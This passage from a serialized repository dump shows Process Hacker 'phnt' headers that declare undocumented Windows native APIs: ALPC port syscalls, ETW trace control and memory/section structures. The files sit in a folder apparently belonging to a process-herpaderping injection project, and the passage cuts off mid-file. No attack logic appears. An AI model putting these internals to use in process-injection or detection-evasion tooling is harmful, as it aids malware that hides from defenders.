_ALPC_MESSAGE_HANDLE_INFORMATION\n{\n ULONG Index;\n ULONG Flags;\n ULONG Handle;\n ULONG ObjectType;\n ACCESS_MASK GrantedAccess;\n} ALPC_MESSAGE_HANDLE_INFORMATION, *PALPC_MESSAGE_HANDLE_INFORMATION;\n\n// begin_private\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// System calls\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcCreatePort(\n _Out_ PHANDLE PortHandle,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcDisconnectPort(\n _In_ HANDLE PortHandle,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcQueryInformation(\n _In_opt_ HANDLE PortHandle,\n _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass,\n _Inout_updates_bytes_to_(Length, *ReturnLength) PVOID PortInformation,\n _In_ ULONG Length,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcSetInformation(\n _In_ HANDLE PortHandle,\n _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass,\n _In_reads_bytes_opt_(Length) PVOID PortInformation,\n _In_ ULONG Length\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcCreatePortSection(\n _In_ HANDLE PortHandle,\n _In_ ULONG Flags,\n _In_opt_ HANDLE SectionHandle,\n _In_ SIZE_T SectionSize,\n _Out_ PALPC_HANDLE AlpcSectionHandle,\n _Out_ PSIZE_T ActualSectionSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcDeletePortSection(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ ALPC_HANDLE SectionHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcCreateResourceReserve(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ SIZE_T MessageSize,\n _Out_ PALPC_HANDLE ResourceId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcDeleteResourceReserve(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ ALPC_HANDLE ResourceId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcCreateSectionView(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcDeleteSectionView(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ PVOID ViewBase\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcCreateSecurityContext(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _Inout_ PALPC_SECURITY_ATTR SecurityAttribute\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcDeleteSecurityContext(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ ALPC_HANDLE ContextHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcRevokeSecurityContext(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ ALPC_HANDLE ContextHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcQueryInformationMessage(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE PortMessage,\n _In_ ALPC_MESSAGE_INFORMATION_CLASS MessageInformationClass,\n _Out_writes_bytes_to_opt_(Length, *ReturnLength) PVOID MessageInformation,\n _In_ ULONG Length,\n _Out_opt_ PULONG ReturnLength\n );\n\n#define ALPC_MSGFLG_REPLY_MESSAGE 0x1\n#define ALPC_MSGFLG_LPC_MODE 0x2 // ?\n#define ALPC_MSGFLG_RELEASE_MESSAGE 0x10000 // dbg\n#define ALPC_MSGFLG_SYNC_REQUEST 0x20000 // dbg\n#define ALPC_MSGFLG_WAIT_USER_MODE 0x100000\n#define ALPC_MSGFLG_WAIT_ALERTABLE 0x200000\n#define ALPC_MSGFLG_WOW64_CALL 0x80000000 // dbg\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcConnectPort(\n _Out_ PHANDLE PortHandle,\n _In_ PUNICODE_STRING PortName,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,\n _In_ ULONG Flags,\n _In_opt_ PSID RequiredServerSid,\n _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage,\n _Inout_opt_ PULONG BufferLength,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\n#if (PHNT_VERSION >= PHNT_WIN8)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcConnectPortEx(\n _Out_ PHANDLE PortHandle,\n _In_ POBJECT_ATTRIBUTES ConnectionPortObjectAttributes,\n _In_opt_ POBJECT_ATTRIBUTES ClientPortObjectAttributes,\n _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,\n _In_ ULONG Flags,\n _In_opt_ PSECURITY_DESCRIPTOR ServerSecurityRequirements,\n _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage,\n _Inout_opt_ PSIZE_T BufferLength,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcAcceptConnectPort(\n _Out_ PHANDLE PortHandle,\n _In_ HANDLE ConnectionPortHandle,\n _In_ ULONG Flags,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,\n _In_opt_ PVOID PortContext,\n _In_reads_bytes_(ConnectionRequest->u1.s1.TotalLength) PPORT_MESSAGE ConnectionRequest,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes,\n _In_ BOOLEAN AcceptConnection\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcSendWaitReceivePort(\n _In_ HANDLE PortHandle,\n _In_ ULONG Flags,\n _In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) PPORT_MESSAGE SendMessage,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes,\n _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ReceiveMessage,\n _Inout_opt_ PSIZE_T BufferLength,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\n#define ALPC_CANCELFLG_TRY_CANCEL 0x1 // dbg\n#define ALPC_CANCELFLG_NO_CONTEXT_CHECK 0x8\n#define ALPC_CANCELFLGP_FLUSH 0x10000 // dbg\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcCancelMessage(\n _In_ HANDLE PortHandle,\n _In_ ULONG Flags,\n _In_ PALPC_CONTEXT_ATTR MessageContext\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcImpersonateClientOfPort(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE Message,\n _In_ PVOID Flags\n );\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcImpersonateClientContainerOfPort(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE Message,\n _In_ ULONG Flags\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcOpenSenderProcess(\n _Out_ PHANDLE ProcessHandle,\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE PortMessage,\n _In_ ULONG Flags,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlpcOpenSenderThread(\n _Out_ PHANDLE ThreadHandle,\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE PortMessage,\n _In_ ULONG Flags,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n// Support functions\n\nNTSYSAPI\nULONG\nNTAPI\nAlpcMaxAllowedMessageLength(\n VOID\n );\n\nNTSYSAPI\nULONG\nNTAPI\nAlpcGetHeaderSize(\n _In_ ULONG Flags\n );\n\n#define ALPC_ATTRFLG_ALLOCATEDATTR 0x20000000\n#define ALPC_ATTRFLG_VALIDATTR 0x40000000\n#define ALPC_ATTRFLG_KEEPRUNNINGATTR 0x60000000\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nAlpcInitializeMessageAttribute(\n _In_ ULONG AttributeFlags,\n _Out_opt_ PALPC_MESSAGE_ATTRIBUTES Buffer,\n _In_ ULONG BufferSize,\n _Out_ PULONG RequiredBufferSize\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nAlpcGetMessageAttribute(\n _In_ PALPC_MESSAGE_ATTRIBUTES Buffer,\n _In_ ULONG AttributeFlag\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nAlpcRegisterCompletionList(\n _In_ HANDLE PortHandle,\n _Out_ PALPC_COMPLETION_LIST_HEADER Buffer,\n _In_ ULONG Size,\n _In_ ULONG ConcurrencyCount,\n _In_ ULONG AttributeFlags\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nAlpcUnregisterCompletionList(\n _In_ HANDLE PortHandle\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nAlpcRundownCompletionList(\n _In_ HANDLE PortHandle\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nAlpcAdjustCompletionListConcurrencyCount(\n _In_ HANDLE PortHandle,\n _In_ ULONG ConcurrencyCount\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nAlpcRegisterCompletionListWorkerThread(\n _Inout_ PVOID CompletionList\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nAlpcUnregisterCompletionListWorkerThread(\n _Inout_ PVOID CompletionList\n );\n\nNTSYSAPI\nVOID\nNTAPI\nAlpcGetCompletionListLastMessageInformation(\n _In_ PVOID CompletionList,\n _Out_ PULONG LastMessageId,\n _Out_ PULONG LastCallbackId\n );\n\nNTSYSAPI\nULONG\nNTAPI\nAlpcGetOutstandingCompletionListMessageCount(\n _In_ PVOID CompletionList\n );\n\nNTSYSAPI\nPPORT_MESSAGE\nNTAPI\nAlpcGetMessageFromCompletionList(\n _In_ PVOID CompletionList,\n _Out_opt_ PALPC_MESSAGE_ATTRIBUTES *MessageAttributes\n );\n\nNTSYSAPI\nVOID\nNTAPI\nAlpcFreeCompletionListMessage(\n _Inout_ PVOID CompletionList,\n _In_ PPORT_MESSAGE Message\n );\n\nNTSYSAPI\nPALPC_MESSAGE_ATTRIBUTES\nNTAPI\nAlpcGetCompletionListMessageAttributes(\n _In_ PVOID CompletionList,\n _In_ PPORT_MESSAGE Message\n );\n\n#endif\n\n// end_private\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntmisc.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTMISC_H\n#define _NTMISC_H\n\n// Filter manager\n\n#define FLT_PORT_CONNECT 0x0001\n#define FLT_PORT_ALL_ACCESS (FLT_PORT_CONNECT | STANDARD_RIGHTS_ALL)\n\n// VDM\n\ntypedef enum _VDMSERVICECLASS\n{\n VdmStartExecution,\n VdmQueueInterrupt,\n VdmDelayInterrupt,\n VdmInitialize,\n VdmFeatures,\n VdmSetInt21Handler,\n VdmQueryDir,\n VdmPrinterDirectIoOpen,\n VdmPrinterDirectIoClose,\n VdmPrinterInitialize,\n VdmSetLdtEntries,\n VdmSetProcessLdtInfo,\n VdmAdlibEmulation,\n VdmPMCliControl,\n VdmQueryVdmProcess\n} VDMSERVICECLASS, *PVDMSERVICECLASS;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtVdmControl(\n _In_ VDMSERVICECLASS Service,\n _Inout_ PVOID ServiceData\n );\n\n// WMI/ETW\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtTraceEvent(\n _In_ HANDLE TraceHandle,\n _In_ ULONG Flags,\n _In_ ULONG FieldSize,\n _In_ PVOID Fields\n );\n\ntypedef enum _TRACE_CONTROL_INFORMATION_CLASS\n{\n TraceControlStartLogger = 1,\n TraceControlStopLogger = 2,\n TraceControlQueryLogger = 3,\n TraceControlUpdateLogger = 4,\n TraceControlFlushLogger = 5,\n TraceControlIncrementLoggerFile = 6,\n\n TraceControlRealtimeConnect = 11,\n TraceControlWdiDispatchControl = 13,\n TraceControlRealtimeDisconnectConsumerByHandle = 14,\n\n TraceControlReceiveNotification = 16,\n TraceControlEnableGuid = 17,\n TraceControlSendReplyDataBlock = 18,\n TraceControlReceiveReplyDataBlock = 19,\n TraceControlWdiUpdateSem = 20,\n TraceControlGetTraceGuidList = 21,\n TraceControlGetTraceGuidInfo = 22,\n TraceControlEnumerateTraceGuids = 23,\n\n TraceControlQueryReferenceTime = 25,\n TraceControlTrackProviderBinary = 26,\n TraceControlAddNotificationEvent = 27,\n TraceControlUpdateDisallowList = 28,\n\n TraceControlUseDescriptorTypeUm = 31,\n TraceControlGetTraceGroupList = 32,\n TraceControlGetTraceGroupInfo = 33,\n TraceControlTraceSetDisallowList= 34,\n TraceControlSetCompressionSettings = 35,\n TraceControlGetCompressionSettings= 36,\n TraceControlUpdatePeriodicCaptureState = 37,\n TraceControlGetPrivateSessionTraceHandle = 38,\n TraceControlRegisterPrivateSession = 39,\n TraceControlQuerySessionDemuxObject = 40,\n TraceControlSetProviderBinaryTracking = 41,\n TraceControlMaxLoggers = 42,\n TraceControlMaxPmcCounter = 43\n} TRACE_CONTROL_INFORMATION_CLASS;\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtTraceControl(\n _In_ TRACE_CONTROL_INFORMATION_CLASS TraceInformationClass,\n _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(TraceInformationLength) PVOID TraceInformation,\n _In_ ULONG TraceInformationLength,\n _Out_ PULONG ReturnLength\n );\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntmmapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTMMAPI_H\n#define _NTMMAPI_H\n\n#if (PHNT_MODE == PHNT_MODE_KERNEL)\n\n// Protection constants\n\n#define PAGE_NOACCESS 0x01\n#define PAGE_READONLY 0x02\n#define PAGE_READWRITE 0x04\n#define PAGE_WRITECOPY 0x08\n#define PAGE_EXECUTE 0x10\n#define PAGE_EXECUTE_READ 0x20\n#define PAGE_EXECUTE_READWRITE 0x40\n#define PAGE_EXECUTE_WRITECOPY 0x80\n#define PAGE_GUARD 0x100\n#define PAGE_NOCACHE 0x200\n#define PAGE_WRITECOMBINE 0x400\n\n#define PAGE_REVERT_TO_FILE_MAP 0x80000000\n#define PAGE_ENCLAVE_THREAD_CONTROL 0x80000000\n#define PAGE_TARGETS_NO_UPDATE 0x40000000\n#define PAGE_TARGETS_INVALID 0x40000000\n#define PAGE_ENCLAVE_UNVALIDATED 0x20000000\n\n// Region and section constants\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n#define MEM_COMMIT 0x1000\n#define MEM_RESERVE 0x2000\n#define MEM_DECOMMIT 0x4000\n#define MEM_RELEASE 0x8000\n#define MEM_FREE 0x10000\n#define MEM_PRIVATE 0x20000\n#define MEM_MAPPED 0x40000\n#define MEM_RESET 0x80000\n#define MEM_TOP_DOWN 0x100000\n#endif\n#define MEM_WRITE_WATCH 0x200000\n#define MEM_PHYSICAL 0x400000\n#define MEM_ROTATE 0x800000\n#define MEM_DIFFERENT_IMAGE_BASE_OK 0x800000\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n#define MEM_RESET_UNDO 0x1000000\n#endif\n#define MEM_LARGE_PAGES 0x20000000\n#define MEM_4MB_PAGES 0x80000000\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n#define SEC_FILE 0x800000\n#endif\n#define SEC_IMAGE 0x1000000\n#define SEC_PROTECTED_IMAGE 0x2000000\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n#define SEC_RESERVE 0x4000000\n#define SEC_COMMIT 0x8000000\n#endif\n#define SEC_NOCACHE 0x10000000\n#define SEC_WRITECOMBINE 0x40000000\n#define SEC_LARGE_PAGES 0x80000000\n#define SEC_IMAGE_NO_EXECUTE (SEC_IMAGE | SEC_NOCACHE)\n#define MEM_IMAGE SEC_IMAGE\n\n#endif\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n// private\ntypedef enum _MEMORY_INFORMATION_CLASS\n{\n MemoryBasicInformation, // MEMORY_BASIC_INFORMATION\n MemoryWorkingSetInformation, // MEMORY_WORKING_SET_INFORMATION\n MemoryMappedFilenameInformation, // UNICODE_STRING\n MemoryRegionInformation, // MEMORY_REGION_INFORMATION\n MemoryWorkingSetExInformation, // MEMORY_WORKING_SET_EX_INFORMATION\n MemorySharedCommitInformation, // MEMORY_SHARED_COMMIT_INFORMATION\n MemoryImageInformation, // MEMORY_IMAGE_INFORMATION\n MemoryRegionInformationEx,\n MemoryPrivilegedBasicInformation,\n MemoryEnclaveImageInformation, // MEMORY_ENCLAVE_IMAGE_INFORMATION // since REDSTONE3\n MemoryBasicInformationCapped\n} MEMORY_INFORMATION_CLASS;\n#else\n#define MemoryBasicInformation 0x0\n#define MemoryWorkingSetInformation 0x1\n#define MemoryMappedFilenameInformation 0x2\n#define MemoryRegionInformation 0x3\n#define MemoryWorkingSetExInformation 0x4\n#define MemorySharedCommitInformation 0x5\n#define MemoryImageInformation 0x6\n#define MemoryRegionInformationEx 0x7\n#define MemoryPrivilegedBasicInformation 0x8\n#define MemoryEnclaveImageInformation 0x9\n#define MemoryBasicInformationCapped 0xA\n#endif\n\ntypedef struct _MEMORY_WORKING_SET_BLOCK\n{\n ULONG_PTR Protection : 5;\n ULONG_PTR ShareCount : 3;\n ULONG_PTR Shared : 1;\n ULONG_PTR Node : 3;\n#ifdef _WIN64\n ULONG_PTR VirtualPage : 52;\n#else\n ULONG VirtualPage : 20;\n#endif\n} MEMORY_WORKING_SET_BLOCK, *PMEMORY_WORKING_SET_BLOCK;\n\ntypedef struct _MEMORY_WORKING_SET_INFORMATION\n{\n ULONG_PTR NumberOfEntries;\n MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1];\n} MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION;\n\n// private\ntypedef struct _MEMORY_REGION_INFORMATION\n{\n PVOID AllocationBase;\n ULONG AllocationProtect;\n union\n {\n ULONG RegionType;\n struct\n {\n ULONG Private : 1;\n ULONG MappedDataFile : 1;\n ULONG MappedImage : 1;\n ULONG MappedPageFile : 1;\n ULONG MappedPhysical : 1;\n ULONG DirectMapped : 1;\n ULONG SoftwareEnclave : 1; // REDSTONE3\n ULONG PageSize64K : 1;\n ULONG PlaceholderReservation : 1; // REDSTONE4\n ULONG Reserved : 23;\n };\n };\n SIZE_T RegionSize;\n SIZE_T CommitSize;\n ULONG_PTR PartitionId; // 19H1\n} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION;\n\n// private \ntypedef enum _MEMORY_WORKING_SET_EX_LOCATION\n{\n MemoryLocationInvalid,\n MemoryLocationResident,\n MemoryLocationPagefile,\n MemoryLocationReserved\n} MEMORY_WORKING_SET_EX_LOCATION;\n\n// private\ntypedef struct _MEMORY_WORKING_SET_EX_BLOCK\n{\n union\n {\n struct\n {\n ULONG_PTR Valid : 1;\n ULONG_PTR ShareCount : 3;\n ULONG_PTR Win32Protection : 11;\n ULONG_PTR Shared : 1;\n ULONG_PTR Node : 6;\n ULONG_PTR Locked : 1;\n ULONG_PTR LargePage : 1;\n ULONG_PTR Priority : 3;\n ULONG_PTR Reserved : 3;\n ULONG_PTR SharedOriginal : 1;\n ULONG_PTR Bad : 1;\n ULONG_PTR Win32GraphicsProtection : 4; // 19H1\n#ifdef _WIN64\n ULONG_PTR ReservedUlong : 28;\n#endif\n };\n struct\n {\n ULONG_PTR Valid : 1;\n ULONG_PTR Reserved0 : 14;\n ULONG_PTR Shared : 1;\n ULONG_PTR Reserved1 : 5;\n ULONG_PTR PageTable : 1;\n ULONG_PTR Location : 2;\n ULONG_PTR Priority : 3;\n ULONG_PTR ModifiedList : 1;\n ULONG_PTR Reserved2 : 2;\n ULONG_PTR SharedOriginal : 1;\n ULONG_PTR Bad : 1;\n#ifdef _WIN64\n ULONG_PTR ReservedUlong : 32;\n#endif\n } Invalid;\n };\n} MEMORY_WORKING_SET_EX_BLOCK, *PMEMORY_WORKING_SET_EX_BLOCK;\n\n// private\ntypedef struct _MEMORY_WORKING_SET_EX_INFORMATION\n{\n PVOID VirtualAddress;\n union\n {\n MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes;\n ULONG_PTR Long;\n } u1;\n} MEMORY_WORKING_SET_EX_INFORMATION, *PMEMORY_WORKING_SET_EX_INFORMATION;\n\n// private\ntypedef struct _MEMORY_SHARED_COMMIT_INFORMATION\n{\n SIZE_T CommitSize;\n} MEMORY_SHARED_COMMIT_INFORMATION, *PMEMORY_SHARED_COMMIT_INFORMATION;\n\n// private\ntypedef struct _MEMORY_IMAGE_INFORMATION\n{\n PVOID ImageBase;\n SIZE_T SizeOfImage;\n union\n {\n ULONG ImageFlags;\n struct\n {\n ULONG ImagePartialMap : 1;\n ULONG ImageNotExecutable : 1;\n ULONG ImageSigningLevel : 4; // REDSTONE3\n ULONG Reserved : 26;\n };\n };\n} MEMORY_IMAGE_INFORMATION, *PMEMORY_IMAGE_INFORMATION;\n\n// private\ntypedef struct _MEMORY_ENCLAVE_IMAGE_INFORMATION\n{\n MEMORY_IMAGE_INFORMATION ImageInfo;\n UCHAR UniqueID[32];\n UCHAR AuthorID[32];\n} MEMORY_ENCLAVE_IMAGE_INFORMATION, *PMEMORY_ENCLAVE_IMAGE_INFORMATION;\n\n#define MMPFNLIST_ZERO 0\n#define MMPFNLIST_FREE 1\n#define MMPFNLIST_STANDBY 2\n#define MMPFNLIST_MODIFIED 3\n#define MMPFNLIST_MODIFIEDNOWRITE 4\n#define MMPFNLIST_BAD 5\n#define MMPFNLIST_ACTIVE 6\n#define MMPFNLIST_TRANSITION 7\n\n//typedef enum _MMLISTS\n//{\n// ZeroedPageList = 0,\n// FreePageList = 1,\n// StandbyPageList = 2,\n// ModifiedPageList = 3,\n// ModifiedNoWritePageList = 4,\n// BadPageList = 5,\n// ActiveAndValid = 6,\n// TransitionPage = 7\n//} MMLISTS;\n\n#define MMPFNUSE_PROCESSPRIVATE 0\n#define MMPFNUSE_FILE 1\n#define MMPFNUSE_PAGEFILEMAPPED 2\n#define MMPFNUSE_PAGETABLE 3\n#define MMPFNUSE_PAGEDPOOL 4\n#define MMPFNUSE_NONPAGEDPOOL 5\n#define MMPFNUSE_SYSTEMPTE 6\n#define MMPFNUSE_SESSIONPRIVATE 7\n#define MMPFNUSE_METAFILE 8\n#define MMPFNUSE_AWEPAGE 9\n#define MMPFNUSE_DRIVERLOCKPAGE 10\n#define MMPFNUSE_KERNELSTACK 11\n\n//typedef enum _MMPFNUSE\n//{\n// ProcessPrivatePage,\n// MemoryMappedFilePage,\n// PageFileMappedPage,\n// PageTablePage,\n// PagedPoolPage,\n// NonPagedPoolPage,\n// SystemPTEPage,\n// SessionPrivatePage,\n// MetafilePage,\n// AWEPage,\n// DriverLockedPage,\n// KernelStackPage\n//} MMPFNUSE;\n\n// private\ntypedef struct _MEMORY_FRAME_INFORMATION\n{\n ULONGLONG UseDescription : 4; // MMPFNUSE_*\n ULONGLONG ListDescription : 3; // MMPFNLIST_*\n ULONGLONG Cold : 1; // 19H1\n ULONGLONG Pinned : 1; // 1 - pinned, 0 - not pinned\n ULONGLONG DontUse : 48; // *_INFORMATION overlay\n ULONGLONG Priority : 3; // rev\n ULONGLONG Reserved : 4; // reserved for future expansion\n} MEMORY_FRAME_INFORMATION;\n\n// private\ntypedef struct _FILEOFFSET_INFORMATION\n{\n ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay\n ULONGLONG Offset : 48; // mapped files\n ULONGLONG Reserved : 7; // reserved for future expansion\n} FILEOFFSET_INFORMATION;\n\n// private\ntypedef struct _PAGEDIR_INFORMATION\n{\n ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay\n ULONGLONG PageDirectoryBase : 48; // private pages\n ULONGLONG Reserved : 7; // reserved for future expansion\n} PAGEDIR_INFORMATION;\n\n// private\ntypedef struct _UNIQUE_PROCESS_INFORMATION\n{\n ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay\n ULONGLONG UniqueProcessKey : 48; // ProcessId\n ULONGLONG Reserved : 7; // reserved for future expansion\n} UNIQUE_PROCESS_INFORMATION, *PUNIQUE_PROCESS_INFORMATION;\n\n// private\ntypedef struct _MMPFN_IDENTITY\n{\n union\n {\n MEMORY_FRAME_INFORMATION e1; // all\n FILEOFFSET_INFORMATION e2; // mapped files\n PAGEDIR_INFORMATION e3; // private pages\n UNIQUE_PROCESS_INFORMATION e4; // owning process\n } u1;\n ULONG_PTR PageFrameIndex; // all\n union\n {\n struct\n {\n ULONG_PTR Image : 1;\n ULONG_PTR Mismatch : 1;\n } e1;\n struct\n {\n ULONG_PTR CombinedPage;\n } e2;\n ULONG_PTR FileObject; // mapped files\n ULONG_PTR UniqueFileObjectKey;\n ULONG_PTR ProtoPteAddress;\n ULONG_PTR VirtualAddress; // everything else\n } u2;\n} MMPFN_IDENTITY, *PMMPFN_IDENTITY;\n\ntypedef struct _MMPFN_MEMSNAP_INFORMATION\n{\n ULONG_PTR InitialPageFrameIndex;\n ULONG_PTR Count;\n} MMPFN_MEMSNAP_INFORMATION, *PMMPFN_MEMSNAP_INFORMATION;\n\ntypedef enum _SECTION_INFORMATION_CLASS\n{\n SectionBasicInformation, // q; SECTION_BASIC_INFORMATION\n SectionImageInformation, // q; SECTION_IMAGE_INFORMATION\n SectionRelocationInformation, // name:wow64:whNtQuerySection_SectionRelocationInformation\n SectionOriginalBaseInformation, // PVOID BaseAddress\n SectionInternalImageInformation, // SECTION_INTERNAL_IMAGE_INFORMATION // since REDSTONE2\n MaxSectionInfoClass\n} SECTION_INFORMATION_CLASS;\n\ntypedef struct _SECTION_BASIC_INFORMATION\n{\n PVOID BaseAddress;\n ULONG AllocationAttributes;\n LARGE_INTEGER MaximumSize;\n} SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;\n\n// symbols\ntypedef struct _SECTION_IMAGE_INFORMATION\n{\n PVOID TransferAddress;\n ULONG ZeroBits;\n SIZE_T MaximumStackSize;\n SIZE_T CommittedStackSize;\n ULONG SubSystemType;\n union\n {\n struct\n {\n USHORT SubSystemMinorVersion;\n USHORT SubSystemMajorVersion;\n };\n ULONG SubSystemVersion;\n };\n union\n {\n struct\n {\n USHORT MajorOperatingSystemVersion;\n USHORT MinorOperatingSystemVersion;\n };\n ULONG OperatingSystemVersion;\n };\n USHORT ImageCharacteristics;\n USHORT DllCharacteristics;\n USHORT Machine;\n BOOLEAN ImageContainsCode;\n union\n {\n UCHAR ImageFlags;\n struct\n {\n UCHAR ComPlusNativeReady : 1;\n UCHAR ComPlusILOnly : 1;\n UCHAR ImageDynamicallyRelocated : 1;\n UCHAR ImageMappedFlat : 1;\n UCHAR BaseBelow4gb : 1;\n UCHAR ComPlusPrefer32bit : 1;\n UCHAR Reserved : 2;\n };\n };\n ULONG LoaderFlags;\n ULONG ImageFileSize;\n ULONG CheckSum;\n} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;\n\n// symbols\ntypedef struct _SECTION_INTERNAL_IMAGE_INFORMATION\n{\n SECTION_IMAGE_INFORMATION SectionInformation;\n union\n {\n ULONG ExtendedFlags;\n struct\n {\n ULONG ImageExportSuppressionEnabled : 1;\n ULONG Reserved : 31;\n };\n };\n} SECTION_INTERNAL_IMAGE_INFORMATION, *PSECTION_INTERNAL_IMAGE_INFORMATION;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\ntypedef enum 